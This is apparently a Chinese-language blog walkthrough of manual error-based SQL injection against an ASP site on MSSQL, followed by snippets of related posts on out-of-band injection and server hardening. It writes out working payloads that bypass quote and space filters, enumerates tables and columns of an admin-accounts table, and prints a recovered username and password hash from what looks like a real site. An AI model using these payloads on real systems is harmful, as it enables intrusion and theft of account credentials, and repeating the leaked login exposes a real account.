這個注入點:
本操作將可能危害資料安全, 請確認你提交的資訊。
首先用order by 探測字段數,發現有45個字段,這個手工不太適合,但是這個**可以顯錯,所以,我們用報錯注入
首先我們看看他是什麼版本的資料庫,
由於這個是數字型的注入,所以我們不用引號將其閉合,而且我們在這裡直接輸入@@vesion就會報錯
報錯資訊:
microsoft ole db provider for sql server 錯誤 '80040e07'
/temp.asp,行 25
當前資料庫:
報錯資訊:
microsoft ole db provider for sql server 錯誤 '80040e07'
在將 nvarchar 值 'web' 轉換成資料型別 int 時失敗。
/temp.asp,行 25
這裡有個小技巧,就是向db_name()中傳遞引數可以查其他的資料庫,比如:
報錯資訊:
microsoft ole db provider for sql server 錯誤 '80040e07'
在將 nvarchar 值 'master' 轉換成資料型別 int 時失敗。
/temp.asp,行 25
這個遞增這個數字就可以查詢了
我們查詢web的表,也就是當前資料庫的表:
由於不能使用單引號,所以,
select top 1 name from 資料庫.sys.all_objects where type='u' and is_ms_shipped=0 and name not in ('表名')
這樣的就用不了,我們這個時候就要用到資料庫的分頁查詢來遍歷資料庫的表名:
首先是是分頁的原理:
這個帖子
裡面列舉了四種分頁的效果
我選select top 10 *
from
(select row_number() over(order by id) as rownumber,* from test
) awhere rownumber > 40
這個方法來做分頁
於是我們可以這樣爆第乙個表:
/**/and/**/(/**/select/**/top/**/1/**/name/**/from/**/(/**/select/**/row_number()/**/over(/**/order/**/by/**/object_id)/**/as/**/rownumber,*/**/from/**/web.sys.all_objects/**/where/**/type=char(85))a/**/where/**/rownumber>=1/**/and/**/rownumber<=1)>0
報錯資訊:
microsoft ole db provider for sql server 錯誤 '80040e07'
在將 nvarchar 值 '上傳檔案' 轉換成資料型別 int 時失敗。
/temp.asp,行 25
爆第二個表:
/**/and/**/(/**/select/**/top/**/1/**/name/**/from/**/(/**/select/**/row_number()/**/over(/**/order/**/by/**/object_id)/**/as/**/rownumber,*/**/from/**/web.sys.all_objects/**/where/**/type=char(85))a/**/where/**/rownumber>=2/**/and/**/rownumber<=2)>0
報錯資訊:
microsoft ole db provider for sql server 錯誤 '80040e07'
/temp.asp,行 25
然後我爆到了:管理帳戶,這個表
對了,這裡有個小技巧,就是,上面爆表中的其中有有乙個地方本來是這樣寫的where type='u',但是由於不能出單引號,所以要這樣寫:
where type=char(85)
爆欄位:
/**/and/**/(/**/select/**/top/**/1/**/column_name/**/from(/**/select/**/row_number()/**/over(/**/order/**/by/**/ordinal_position)/**/as/**/rownumber,*/**/from/**/web.information_schema.columns/**/where/**/table_name=nchar(31649)%2bnchar(29702)%2bnchar(24080)%2bnchar(25143))/**/a/**/where/**/rownumber>=2/**/and/**/rownumber<=2)>0
報錯資訊:
microsoft ole db provider for sql server 錯誤 '80040e07'
在將 nvarchar 值 '使用者名稱' 轉換成資料型別 int 時失敗。
/temp.asp,行 25
這個有個小技巧,由於這裡的表名是中文:
所以,我們查表的時候:要用到sql server的unicode和nchar這兩個函式
首先,我們在sql server中的企業管理器中查詢做這樣的查詢:select unicode('管'),得到的結果是 31649,然後我們依次查詢出來:
「管理帳戶」這四個字的值:
然後我們再用四個值用nchar 轉換出來看看效果:
select nchar(31649)+nchar(29702)+nchar(24080)+nchar(25143)
結果:管理賬戶
ok,好了,就這樣拼到「where table_name=」
後面做查詢。
這裡依然有個小技巧:
在實際注入的時候不能使用「+」這個符號
要用%2b做代替
我爆到資料庫 web,表為:管理帳戶 的字段為:
編號 使用者名稱 前台使用者名稱 密碼 姓名 ** 最後時間 ****
爆資料:
/**/and/**/(/**/select/**/top/**/1/**/%d3%c3%bb%a7%c3%fb/**/from/**/%b9%dc%c0%ed%d5%ca%bb%a7)>0
由於這裡面的表名和欄位名都是中文
所以我們在這裡做一些urlencode編碼的轉換
這個**提供這樣的轉換,我們在這裡選擇gb2312,然後將中文轉換為對應的url編碼
然後就可以查出資料了:
使用者名稱:
stgst
密碼:3f9aa31e9b129d97
MSSQL注入 反彈注入
明明是sql注入的點,卻無法進行注入,注射工具拆解的速度異常的緩慢,錯誤提示資訊關閉,無法返回注入的結果,這個時候你便可以嘗試使用 注入,注入需要依賴於函式opendatasource的支援,將當前資料庫中的查詢結果傳送到另一資料庫伺服器中。and exists select from sysobj...
MSSQL注入的防護
作者 alpha 文章 暮晗日誌 mssql注入攻擊是比較直接和危害比較大的一種攻擊方式,那些所謂的黑客們能夠利用它直接取得系統許可權。今天我們就來看看如何通過系統設定防止這種攻擊 首先要申明的是,並不是通過這個設定就能保證你的伺服器的安全,安全是乙個整體,然而整體又正是由這些部分構成的!對策一 偽...
ms sql 注入安全
sql查詢分析器 use master exec sp dropextendedproc xp cmdshell exec sp dropextendedproc xp dirtree exec sp dropextendedproc xp enumgroups exec sp dropextend...